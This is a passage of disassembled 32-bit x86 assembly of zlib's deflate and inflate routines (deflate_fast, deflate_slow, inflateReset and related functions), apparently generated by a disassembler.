.L0804E165: movl 12(%ebp), %eax xorl %edx, %edx testl %eax, %eax je .L0804E12F .L0804E16E: movl 8(%ebp), %ebx cmpl $4, 12(%ebp) movl $0, 5812(%ebx) je .L0804E274 .L0804E185: movl 8(%ebp), %ebx movl 108(%ebx), %eax movl 92(%ebx), %edx cmpl %edx, %eax jle .L0804E1EA .L0804E192: subl %edx, %eax pushl $0 pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804E1A2 .L0804E19D: movl 56(%ebx), %eax addl %edx, %eax .L0804E1A2: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804E1AB: movl 8(%ebp), %ebx movl 108(%ebx), %eax movl (%ebx), %esi movl %eax, 92(%ebx) movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804E1C1: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E1D0 .L0804E1CE: movl %eax, %ebx .L0804E1D0: testl %ebx, %ebx jne .L0804E2D1 .L0804E1D8: movl 8(%ebp), %ebx movl (%ebx), %esi movl 16(%esi), %edi xorl %edx, %edx testl %edi, %edi je .L0804E12F .L0804E1EA: movl $1, %edx jmp .L0804E12F .L0804E1F4: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E201: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %eax subl %ebx, %eax movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%edi) jne .L0804E264 .L0804E21E: movl 8(%edi), %esi movl %esi, 16(%edi) jmp .L0804E0B0 .L0804E229: .p2align 2 .L0804E22C: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E239: subl %ebx, 16(%esi) addl %ebx, 12(%esi) addl %ebx, 20(%esi) movl 20(%edi), %esi subl %ebx, %esi movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx testl %esi, %esi movl %esi, 20(%edi) jne .L0804E26C .L0804E256: movl 8(%edi), %edx movl %edx, 16(%edi) jmp .L0804E11D .L0804E261: .p2align 2 .L0804E264: movl %edx, 16(%edi) jmp .L0804E0B0 .L0804E26C: movl %edx, 16(%edi) jmp .L0804E11D .L0804E274: pushl $1 movl 92(%ebx), %edx movl 108(%ebx), %edi subl %edx, %edi xorl %eax, %eax testl %edx, %edx pushl %edi js .L0804E28A .L0804E285: movl 56(%ebx), %eax addl %edx, %eax .L0804E28A: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804E293: movl 8(%ebp), %edx movl 108(%edx), %esi movl %esi, 92(%edx) movl (%edx), %esi movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804E2A9: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E2B8 .L0804E2B6: movl %eax, %ebx .L0804E2B8: testl %ebx, %ebx jne .L0804E306 .L0804E2BC: movl 8(%ebp), %esi movl (%esi), %edx movl 16(%edx), %edi cmpl $1, %edi sbbl %ecx, %ecx leal 3(%ecx), %edx jmp .L0804E12F .L0804E2D1: pushl %edx pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E2DE: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %ecx subl %ebx, %ecx movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %ecx, %ecx movl %ecx, 20(%edi) jne .L0804E338 .L0804E2FB: movl 8(%edi), %edx movl %edx, 16(%edi) jmp .L0804E1D8 .L0804E306: pushl %ecx pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E313: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %eax subl %ebx, %eax movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%edi) jne .L0804E340 .L0804E330: movl 8(%edi), %ebx movl %ebx, 16(%edi) jmp .L0804E2BC .L0804E338: movl %edx, 16(%edi) jmp .L0804E1D8 .L0804E340: movl %edx, 16(%edi) jmp .L0804E2BC .size deflate_stored, .-deflate_stored # ---------------------- .local deflate_fast .type deflate_fast, @function deflate_fast: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 8(%ebp), %eax movl 116(%eax), %esi .p2align 3 .L0804E358: cmpl $261, %esi jbe .L0804E601 .L0804E364: cmpl $2, %esi ja .L0804E4B4 .L0804E36D: movl 8(%ebp), %ebx .L0804E370: movl 108(%ebx), %edi .L0804E373: movl 8(%ebp), %esi movl 96(%esi), %eax cmpl $2, %eax jbe .L0804E524 .L0804E382: movl %edi, %ebx subw 112(%esi), %bx movl 5792(%esi), %ecx movl 5796(%esi), %edi leal -3(%eax), %edx movl 5784(%esi), %eax movw %bx, (%edi,%ecx,2) movb %dl, (%ecx,%eax) leal -1(%ebx), %ecx movzbl %dl, %ebx incl 5792(%esi) movzbl _length_code(%ebx), %edi incw 1176(%esi,%edi,4) cmpw $255, %cx ja .L0804E700 .L0804E3CA: movzwl %cx, %esi movzbl _dist_code(%esi), %eax .L0804E3D4: movl 8(%ebp), %edi leal 2432(,%eax,4), %esi incw 8(%edi,%esi) movl 5788(%edi), %ecx decl %ecx cmpl %ecx, 5792(%edi) sete %al movzbl %al, %ebx movl 116(%edi), %esi movl 96(%edi), %eax subl %eax, %esi cmpl 128(%edi), %eax movl %ebx, -16(%ebp) movl %esi, 116(%edi) ja .L0804E6C8 .L0804E410: cmpl $2, %esi jbe .L0804E6C8 .L0804E419: movl 72(%edi), %edx movl 88(%edi), %ecx movl 56(%edi), %ebx decl %eax movl %edx, -44(%ebp) movl 8(%ebp), %edx movl %eax, 96(%edi) movl %ecx, -40(%ebp) movl 84(%edi), %eax movl %ebx, -24(%ebp) movl 8(%ebp), %ecx movl 108(%edi), %ebx movl 52(%edx), %edi movl 8(%ebp), %edx movl %eax, -36(%ebp) movl %edi, -20(%ebp) movl 64(%ecx), %eax movl 68(%edx), %edi movl %eax, -28(%ebp) movl %edi, -32(%ebp) .p2align 2 .L0804E454: leal 1(%ebx), %edx movl 8(%ebp), %eax movb -40(%ebp), %cl sall %cl, -44(%ebp) movl %edx, 108(%eax) movl -24(%ebp), %ecx movzbl 2(%ecx,%edx), %eax xorl -44(%ebp), %eax andl -36(%ebp), %eax movl %ebx, %edi movl %edx, %ebx movl 8(%ebp), %edx movl %eax, 72(%edx) movl -32(%ebp), %ecx movl -20(%ebp), %edx movw (%ecx,%eax,2), %cx andl %ebx, %edx movl %eax, -44(%ebp) movl -28(%ebp), %eax movw %cx, (%eax,%edx,2) movl -44(%ebp), %edx movl -32(%ebp), %ecx movw %bx, (%ecx,%edx,2) movl 8(%ebp), %edx movl 96(%edx), %eax decl %eax testl %eax, %eax movl %eax, 96(%edx) jne .L0804E454 .L0804E4A9: leal 2(%edi), %ebx movl %ebx, 108(%edx) jmp .L0804E585 .L0804E4B4: movl 8(%ebp), %ebx movl 108(%ebx), %edi movl 72(%ebx), %eax movl 88(%ebx), %ecx movl 56(%ebx), %esi sall %cl, %eax movzbl 2(%esi,%edi), %ecx movl 8(%ebp), %edx xorl %ecx, %eax andl 84(%ebx), %eax movl 68(%edx), %ecx movl %edi, %esi andl 52(%edx), %esi movl %eax, 72(%ebx) movl 64(%edx), %ebx movzwl (%ecx,%eax,2), %edx testl %edx, %edx movw %dx, (%ebx,%esi,2) movl %edx, %ebx movw %di, (%ecx,%eax,2) je .L0804E373 .L0804E4F6: movl 8(%ebp), %ecx movl %edi, %edx movl 44(%ecx), %eax subl %ebx, %edx subl $262, %eax cmpl %eax, %edx ja .L0804E373 .L0804E50D: movl %ebx, %edx movl %ecx, %eax call longest_match .L0804E516: movl 8(%ebp), %ebx movl %eax, 96(%ebx) jmp .L0804E370 .L0804E521: .p2align 2 .L0804E524: movl 8(%ebp), %edx movl 56(%edx), %ebx movb (%ebx,%edi), %dl movl 8(%ebp), %ebx movl 5792(%ebx), %esi movl 5796(%ebx), %ecx movl 5784(%ebx), %eax movw $0, (%ecx,%esi,2) movb %dl, (%esi,%eax) incl 5792(%ebx) movzbl %dl, %edi incw 148(%ebx,%edi,4) movl 5788(%ebx), %ecx decl %ecx cmpl %ecx, 5792(%ebx) movl 116(%ebx), %eax sete %dl movl 8(%ebp), %edi decl %eax movl %eax, 116(%ebx) movl 108(%edi), %ebx movzbl %dl, %esi incl %ebx movl %esi, -16(%ebp) movl %ebx, 108(%edi) movl %eax, %esi .L0804E585: movl -16(%ebp), %edi testl %edi, %edi je .L0804E358 .L0804E590: pushl $0 movl 8(%ebp), %esi movl 92(%esi), %eax subl %eax, %ebx xorl %edx, %edx testl %eax, %eax pushl %ebx js .L0804E5A9 .L0804E5A1: movl 8(%ebp), %ecx movl 56(%ecx), %edx addl %eax, %edx .L0804E5A9: pushl %edx pushl 8(%ebp) call _tr_flush_block .L0804E5B2: movl 8(%ebp), %ebx movl (%ebx), %esi movl 108(%ebx), %eax movl 28(%esi), %edi movl %eax, 92(%ebx) movl %edi, (%esp) call _tr_flush_bits .L0804E5C8: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E5D7 .L0804E5D5: movl %eax, %ebx .L0804E5D7: testl %ebx, %ebx jne .L0804E714 .L0804E5DF: movl 8(%ebp), %ebx movl (%ebx), %ecx movl 16(%ecx), %edi testl %edi, %edi je .L0804E754 .L0804E5EF: movl 8(%ebp), %edx movl 116(%edx), %esi cmpl $261, %esi ja .L0804E364 .L0804E601: movl 8(%ebp), %eax call fill_window .L0804E609: movl 8(%ebp), %ecx movl 116(%ecx), %esi cmpl $261, %esi ja .L0804E622 .L0804E617: movl 12(%ebp), %ebx testl %ebx, %ebx je .L0804E754 .L0804E622: testl %esi, %esi jne .L0804E364 .L0804E62A: movl 8(%ebp), %esi movl 108(%esi), %eax cmpl $2, %eax movl %eax, %edx jbe .L0804E63C .L0804E637: movl $2, %edx .L0804E63C: movl 8(%ebp), %ecx cmpl $4, 12(%ebp) movl %edx, 5812(%ecx) je .L0804E768 .L0804E64F: movl 8(%ebp), %edi movl 5792(%edi), %ecx testl %ecx, %ecx je .L0804E6B7 .L0804E65C: pushl $0 movl 92(%edi), %edx subl %edx, %eax pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804E66F .L0804E66A: movl 56(%edi), %eax addl %edx, %eax .L0804E66F: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804E678: movl 8(%ebp), %ebx movl 108(%ebx), %edi movl (%ebx), %esi movl %edi, 92(%ebx) movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804E68E: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E69D .L0804E69B: movl %eax, %ebx .L0804E69D: testl %ebx, %ebx jne .L0804E7BF .L0804E6A5: movl 8(%ebp), %ecx movl (%ecx), %ebx movl 16(%ebx), %eax xorl %edx, %edx testl %eax, %eax je .L0804E756 .L0804E6B7: leal -12(%ebp), %esp popl %ebx popl %esi movl $1, %edx movl %edx, %eax popl %edi leave ret .L0804E6C6: .p2align 3 .L0804E6C8: movl 8(%ebp), %ecx movl 108(%ecx), %ebx addl %eax, %ebx movl %ebx, 108(%ecx) movl $0, 96(%ecx) movl 56(%ecx), %edx movzbl (%edx,%ebx), %eax movl %eax, 72(%ecx) movl %ecx, %edi movl 88(%ecx), %ecx sall %cl, %eax movzbl 1(%edx,%ebx), %ecx xorl %ecx, %eax andl 84(%edi), %eax movl %eax, 72(%edi) jmp .L0804E585 .L0804E6FD: .p2align 3 .L0804E700: shrw $7, %cx movzwl %cx, %edx movzbl _dist_code+256(%edx), %eax jmp .L0804E3D4 .L0804E713: .p2align 2 .L0804E714: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E721: subl %ebx, 16(%esi) addl %ebx, 12(%esi) addl %ebx, 20(%esi) movl 20(%edi), %esi subl %ebx, %esi movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx testl %esi, %esi movl %esi, 20(%edi) jne .L0804E760 .L0804E73E: movl 8(%ebp), %ebx movl 8(%edi), %edx movl (%ebx), %ecx movl %edx, 16(%edi) movl 16(%ecx), %edi testl %edi, %edi jne .L0804E5EF .L0804E754: xorl %edx, %edx .L0804E756: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804E760: movl %edx, 16(%edi) jmp .L0804E5DF .L0804E768: pushl $1 movl 92(%ecx), %edx subl %edx, %eax pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804E77B .L0804E776: movl 56(%ecx), %eax addl %edx, %eax .L0804E77B: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804E784: movl 8(%ebp), %edx movl (%edx), %esi movl 108(%edx), %eax movl 28(%esi), %edi movl %eax, 92(%edx) movl %edi, (%esp) call _tr_flush_bits .L0804E79A: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804E7A9 .L0804E7A7: movl %eax, %ebx .L0804E7A9: testl %ebx, %ebx jne .L0804E7F4 .L0804E7AD: movl 8(%ebp), %eax movl (%eax), %edx movl 16(%edx), %esi cmpl $1, %esi sbbl %edi, %edi leal 3(%edi), %edx jmp .L0804E756 .L0804E7BF: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E7CC: subl %ebx, 16(%esi) addl %ebx, 12(%esi) addl %ebx, 20(%esi) movl 20(%edi), %esi subl %ebx, %esi movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx testl %esi, %esi movl %esi, 20(%edi) jne .L0804E826 .L0804E7E9: movl 8(%edi), %edx movl %edx, 16(%edi) jmp .L0804E6A5 .L0804E7F4: pushl %ecx pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804E801: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %ecx subl %ebx, %ecx movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %ecx, %ecx movl %ecx, 20(%edi) jne .L0804E82E .L0804E81E: movl 8(%edi), %ebx movl %ebx, 16(%edi) jmp .L0804E7AD .L0804E826: movl %edx, 16(%edi) jmp .L0804E6A5 .L0804E82E: movl %edx, 16(%edi) jmp .L0804E7AD .size deflate_fast, .-deflate_fast # ---------------------- .L0804E836: .p2align 3 # ---------------------- .local deflate_slow .type deflate_slow, @function deflate_slow: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 8(%ebp), %edx movl 116(%edx), %eax movl %eax, -32(%ebp) .p2align 2 .L0804E84C: cmpl $261, -32(%ebp) jbe .L0804EA98 .L0804E859: xorl %ebx, %ebx cmpl $2, -32(%ebp) jbe .L0804EC74 .L0804E865: movl 8(%ebp), %ebx movl 108(%ebx), %edi movl 72(%ebx), %eax movl 88(%ebx), %ecx movl 56(%ebx), %esi movzbl 2(%esi,%edi), %edx sall %cl, %eax xorl %edx, %eax movl 64(%ebx), %ecx andl 84(%ebx), %eax movl 52(%ebx), %esi movl %ecx, -40(%ebp) movl 68(%ebx), %ecx movzwl (%ecx,%eax,2), %edx andl %edi, %esi movl %eax, 72(%ebx) movl -40(%ebp), %ebx movw %dx, (%ebx,%esi,2) movl %esi, -20(%ebp) movl %edx, %ebx movw %di, (%ecx,%eax,2) .L0804E8A5: movl 8(%ebp), %eax movl 96(%eax), %ecx movl 112(%eax), %esi testl %ebx, %ebx movl %ecx, 120(%eax) movl %esi, 100(%eax) movl $2, 96(%eax) je .L0804E8E0 .L0804E8BF: cmpl 128(%eax), %ecx jae .L0804E8E0 .L0804E8C7: movl 8(%ebp), %esi movl %edi, %edx movl 44(%esi), %eax subl %ebx, %edx subl $262, %eax cmpl %eax, %edx jbe .L0804ECB2 .L0804E8DE: .p2align 3 .L0804E8E0: cmpl $2, %ecx jbe .L0804EBAC .L0804E8E9: movl 8(%ebp), %edx cmpl %ecx, 96(%edx) ja .L0804EBAC .L0804E8F5: movl %edi, %ebx movl 8(%ebp), %esi addl 116(%edx), %ebx subw 100(%esi), %di subl $3, %ebx movl 5796(%esi), %eax movw %di, -26(%ebp) movl %ebx, -24(%ebp) leal -3(%ecx), %edx decl %edi movl 5792(%esi), %ecx movl %esi, %ebx movl 5784(%esi), %esi movw %di, (%eax,%ecx,2) movb %dl, (%ecx,%esi) movw -26(%ebp), %cx movzbl %dl, %eax incl 5792(%ebx) subl $2, %ecx movzbl _length_code(%eax), %edi incw 1176(%ebx,%edi,4) cmpw $255, %cx ja .L0804EC9F .L0804E954: movzwl %cx, %edi movzbl _dist_code(%edi), %eax .L0804E95E: movl 8(%ebp), %esi leal 2432(,%eax,4), %edi incw 8(%esi,%edi) movl 5788(%esi), %ebx decl %ebx cmpl %ebx, 5792(%esi) movl 116(%esi), %eax movl 120(%esi), %edi sete %cl subl %edi, %eax incl %eax movl 8(%ebp), %ebx movzbl %cl, %edx movl %eax, 116(%esi) movl %eax, -32(%ebp) movl 108(%ebx), %ecx leal -2(%edi), %eax movl %edx, -16(%ebp) movl %eax, %esi movl %ecx, -36(%ebp) .L0804E9A0: movl -36(%ebp), %edi incl %edi cmpl -24(%ebp), %edi movl %edi, -36(%ebp) ja .L0804E9F5 .L0804E9AC: movl 8(%ebp), %edx movl 88(%edx), %ecx movl %eax, 120(%edx) movl 72(%edx), %eax sall %cl, %eax movl %edi, 108(%edx) movl 56(%edx), %ecx movl %edx, %ebx movzbl 2(%ecx,%edi), %edx xorl %edx, %eax movl 52(%ebx), %ecx andl 84(%ebx), %eax andl %edi, %ecx movl %ecx, -48(%ebp) movl %eax, 72(%ebx) movl 64(%ebx), %ecx movl 68(%ebx), %ebx movw (%ebx,%eax,2), %dx movl %ebx, -52(%ebp) movl -48(%ebp), %ebx movw %dx, (%ecx,%ebx,2) movl -52(%ebp), %edx movl %ecx, -44(%ebp) movw %di, (%edx,%eax,2) .L0804E9F5: leal -1(%esi), %eax testl %eax, %eax movl %eax, %esi jne .L0804E9A0 .L0804E9FE: movl -16(%ebp), %esi movl 8(%ebp), %ecx leal 1(%edi), %eax testl %esi, %esi movl $0, 120(%ecx) movl $0, 104(%ecx) movl $2, 96(%ecx) movl %eax, 108(%ecx) je .L0804E84C .L0804EA27: pushl $0 movl 92(%ecx), %edx subl %edx, %eax pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804EA3A .L0804EA35: movl 56(%ecx), %eax addl %edx, %eax .L0804EA3A: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804EA43: movl 8(%ebp), %edi movl 108(%edi), %eax movl (%edi), %esi movl %eax, 92(%edi) movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804EA59: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804EA68 .L0804EA66: movl %eax, %ebx .L0804EA68: testl %ebx, %ebx jne .L0804ED20 .L0804EA70: movl 8(%ebp), %esi movl (%esi), %edi movl 16(%edi), %edx testl %edx, %edx je .L0804EC68 .L0804EA80: movl 8(%ebp), %ebx movl 116(%ebx), %ecx movl %ecx, -32(%ebp) cmpl $261, -32(%ebp) ja .L0804E859 .L0804EA96: .p2align 3 .L0804EA98: movl 8(%ebp), %eax call fill_window .L0804EAA0: movl 8(%ebp), %edi movl 116(%edi), %esi cmpl $261, %esi movl %esi, -32(%ebp) ja .L0804EABC .L0804EAB1: movl 12(%ebp), %eax testl %eax, %eax je .L0804EC68 .L0804EABC: movl -32(%ebp), %edx testl %edx, %edx jne .L0804E859 .L0804EAC7: movl 8(%ebp), %esi movl 104(%esi), %edi testl %edi, %edi je .L0804EB0E .L0804EAD1: movl 108(%esi), %eax movl 56(%esi), %edx movb -1(%edx,%eax), %bl movl 5792(%esi), %edi movl 5796(%esi), %ecx movl 5784(%esi), %eax movw $0, (%ecx,%edi,2) movb %bl, (%edi,%eax) incl 5792(%esi) movzbl %bl, %ecx incw 148(%esi,%ecx,4) movl $0, 104(%esi) .L0804EB0E: movl 8(%ebp), %esi movl 108(%esi), %eax cmpl $2, %eax movl %eax, %edx jbe .L0804EB20 .L0804EB1B: movl $2, %edx .L0804EB20: movl 8(%ebp), %ecx cmpl $4, 12(%ebp) movl %edx, 5812(%ecx) je .L0804EDB0 .L0804EB33: movl 8(%ebp), %edx movl 5792(%edx), %ecx testl %ecx, %ecx je .L0804EB9D .L0804EB40: pushl $0 movl %edx, %ecx movl 92(%edx), %edx subl %edx, %eax pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804EB55 .L0804EB50: movl 56(%ecx), %eax addl %edx, %eax .L0804EB55: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804EB5E: movl 8(%ebp), %edx movl (%edx), %esi movl 108(%edx), %eax movl 28(%esi), %edi movl %eax, 92(%edx) movl %edi, (%esp) call _tr_flush_bits .L0804EB74: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804EB83 .L0804EB81: movl %eax, %ebx .L0804EB83: testl %ebx, %ebx jne .L0804EE0F .L0804EB8B: movl 8(%ebp), %edx movl (%edx), %ecx movl 16(%ecx), %edi xorl %edx, %edx testl %edi, %edi je .L0804EC6A .L0804EB9D: leal -12(%ebp), %esp popl %ebx popl %esi movl $1, %edx movl %edx, %eax popl %edi leave ret .L0804EBAC: movl 8(%ebp), %eax movl 104(%eax), %ecx testl %ecx, %ecx je .L0804EC80 .L0804EBBA: movl 56(%eax), %ebx movb -1(%ebx,%edi), %dl movl 8(%ebp), %ebx movl 5792(%ebx), %esi movl 5796(%ebx), %ecx movl 5784(%ebx), %edi movw $0, (%ecx,%esi,2) movb %dl, (%esi,%edi) incl 5792(%ebx) movzbl %dl, %edx incw 148(%ebx,%edx,4) movl 5788(%ebx), %eax decl %eax cmpl %eax, 5792(%ebx) jne .L0804EC4B .L0804EBFF: pushl $0 movl 92(%ebx), %edx movl 108(%ebx), %eax subl %edx, %eax pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804EC15 .L0804EC10: movl 56(%ebx), %eax addl %edx, %eax .L0804EC15: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804EC1E: movl 8(%ebp), %esi movl 108(%esi), %ecx movl %ecx, 92(%esi) movl (%esi), %esi movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804EC34: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804EC43 .L0804EC41: movl %eax, %ebx .L0804EC43: testl %ebx, %ebx jne .L0804ECEB .L0804EC4B: movl 8(%ebp), %esi movl 116(%esi), %ecx decl %ecx incl 108(%esi) movl %ecx, 116(%esi) movl (%esi), %edi movl 16(%edi), %edx testl %edx, %edx movl %ecx, -32(%ebp) jne .L0804E84C .L0804EC68: xorl %edx, %edx .L0804EC6A: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804EC74: movl 8(%ebp), %eax movl 108(%eax), %edi jmp .L0804E8A5 .L0804EC7F: .p2align 3 .L0804EC80: movl 8(%ebp), %ebx movl 116(%ebx), %eax decl %eax leal 1(%edi), %edx movl $1, 104(%ebx) movl %edx, 108(%ebx) movl %eax, -32(%ebp) movl %eax, 116(%ebx) jmp .L0804E84C .L0804EC9F: shrw $7, %cx movzwl %cx, %edx movzbl _dist_code+256(%edx), %eax jmp .L0804E95E .L0804ECB2: movl %ebx, %edx movl %esi, %eax call longest_match .L0804ECBB: cmpl $5, %eax ja .L0804ED55 .L0804ECC4: cmpl $1, 136(%esi) je .L0804ED76 .L0804ECD1: cmpl $3, %eax je .L0804ED8E .L0804ECDA: movl 8(%ebp), %ebx movl 108(%ebx), %edi movl 120(%ebx), %ecx movl %eax, 96(%ebx) jmp .L0804E8E0 .L0804ECEB: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804ECF8: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %eax subl %ebx, %eax movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %eax, %eax movl %eax, 20(%edi) jne .L0804ED66 .L0804ED15: movl 8(%edi), %ebx movl %ebx, 16(%edi) jmp .L0804EC4B .L0804ED20: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804ED2D: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %ecx subl %ebx, %ecx movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %ecx, %ecx movl %ecx, 20(%edi) jne .L0804ED6E .L0804ED4A: movl 8(%edi), %ebx movl %ebx, 16(%edi) jmp .L0804EA70 .L0804ED55: movl 8(%ebp), %edx movl 108(%edx), %edi movl 120(%edx), %ecx movl %eax, 96(%edx) jmp .L0804E8E0 .L0804ED66: movl %edx, 16(%edi) jmp .L0804EC4B .L0804ED6E: movl %edx, 16(%edi) jmp .L0804EA70 .L0804ED76: movl 8(%ebp), %ecx movl 108(%ecx), %edi .L0804ED7C: movl 8(%ebp), %esi movl 120(%esi), %ecx movl $2, 96(%esi) jmp .L0804E8E0 .L0804ED8E: movl 108(%esi), %edi movl %edi, %ebx subl 112(%esi), %ebx cmpl $4096, %ebx ja .L0804ED7C .L0804ED9E: movl 8(%ebp), %esi movl 120(%esi), %ecx movl $3, 96(%esi) jmp .L0804E8E0 .L0804EDB0: pushl $1 movl 92(%ecx), %edx subl %edx, %eax pushl %eax xorl %eax, %eax testl %edx, %edx js .L0804EDC3 .L0804EDBE: movl 56(%ecx), %eax addl %edx, %eax .L0804EDC3: pushl %eax pushl 8(%ebp) call _tr_flush_block .L0804EDCC: movl 8(%ebp), %ebx movl 108(%ebx), %edi movl (%ebx), %esi movl %edi, 92(%ebx) movl 28(%esi), %edi movl %edi, (%esp) call _tr_flush_bits .L0804EDE2: movl 20(%edi), %ebx movl 16(%esi), %eax addl $16, %esp cmpl %ebx, %eax jae .L0804EDF1 .L0804EDEF: movl %eax, %ebx .L0804EDF1: testl %ebx, %ebx jne .L0804EE44 .L0804EDF5: movl 8(%ebp), %edi movl (%edi), %ebx movl 16(%ebx), %esi cmpl $1, %esi sbbl %eax, %eax leal -12(%ebp), %esp popl %ebx popl %esi leal 3(%eax), %edx movl %edx, %eax popl %edi leave ret .L0804EE0F: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804EE1C: subl %ebx, 16(%esi) addl %ebx, 12(%esi) addl %ebx, 20(%esi) movl 20(%edi), %esi subl %ebx, %esi movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx testl %esi, %esi movl %esi, 20(%edi) jne .L0804EE79 .L0804EE39: movl 8(%edi), %ebx movl %ebx, 16(%edi) jmp .L0804EB8B .L0804EE44: pushl %eax pushl %ebx pushl 16(%edi) pushl 12(%esi) call memcpy .L0804EE51: subl %ebx, 16(%esi) addl %ebx, 12(%esi) movl 20(%edi), %ecx subl %ebx, %ecx movl 16(%edi), %edx addl $16, %esp addl %ebx, %edx addl %ebx, 20(%esi) testl %ecx, %ecx movl %ecx, 20(%edi) jne .L0804EE81 .L0804EE6E: movl 8(%edi), %edx movl %edx, 16(%edi) jmp .L0804EDF5 .L0804EE79: movl %edx, 16(%edi) jmp .L0804EB8B .L0804EE81: movl %edx, 16(%edi) jmp .L0804EDF5 .size deflate_slow, .-deflate_slow # ---------------------- .L0804EE89: .p2align 2 # ---------------------- .globl inflateResetKeep .type inflateResetKeep, @function inflateResetKeep: pushl %ebp movl %esp, %ebp movl 8(%ebp), %ecx testl %ecx, %ecx je .L0804EF28 .L0804EE9A: movl 28(%ecx), %edx testl %edx, %edx je .L0804EF28 .L0804EEA5: movl 8(%edx), %eax testl %eax, %eax movl $0, 28(%edx) movl $0, 24(%ecx) movl $0, 20(%ecx) movl $0, 8(%ecx) je .L0804EECE .L0804EEC8: andl $1, %eax movl %eax, 48(%ecx) .L0804EECE: leal 1328(%edx), %eax movl %eax, 108(%edx) movl %eax, 80(%edx) movl %eax, 76(%edx) movl $0, (%edx) movl $0, 4(%edx) movl $0, 12(%edx) movl $32768, 20(%edx) movl $0, 32(%edx) movl $0, 56(%edx) movl $0, 60(%edx) movl $1, 7104(%edx) movl $-1, 7108(%edx) xorl %eax, %eax leave ret .L0804EF25: .p2align 3 .L0804EF28: movl $-2, %eax leave ret .size inflateResetKeep, .-inflateResetKeep # ---------------------- .L0804EF2F: .p2align 3 # ---------------------- .globl inflateReset .type inflateReset, @function inflateReset: pushl %ebp movl %esp, %ebp movl 8(%ebp), %ecx testl %ecx, %ecx je .L0804EFE0 .L0804EF3E: movl 28(%ecx), %edx testl %edx, %edx je .L0804EFE0 .L0804EF49: movl 8(%edx), %eax testl %eax, %eax movl $0, 28(%edx) movl $0, 40(%edx) movl $0, 44(%edx) movl $0, 48(%edx) movl $0, 20(%ecx) movl $0, 8(%ecx) movl $0, 24(%ecx) je .L0804EF87 .L0804EF81: andl $1, %eax movl %eax, 48(%ecx) .L0804EF87: leal 1328(%edx), %eax movl %eax, 108(%edx) movl %eax, 80(%edx) movl %eax, 76(%edx) movl $0, (%edx) movl $0, 4(%edx) movl $0, 12(%edx) movl $32768, 20(%edx) movl $0, 32(%edx) movl $0, 56(%edx) movl $0, 60(%edx) movl $1, 7104(%edx) movl $-1, 7108(%edx) xorl %eax, %eax leave ret .L0804EFDE: .p2align 3 .L0804EFE0: movl $-2, %eax leave ret .size inflateReset, .-inflateReset # ---------------------- .L0804EFE7: .p2align 3 # ---------------------- .globl inflateReset2 .type inflateReset2, @function 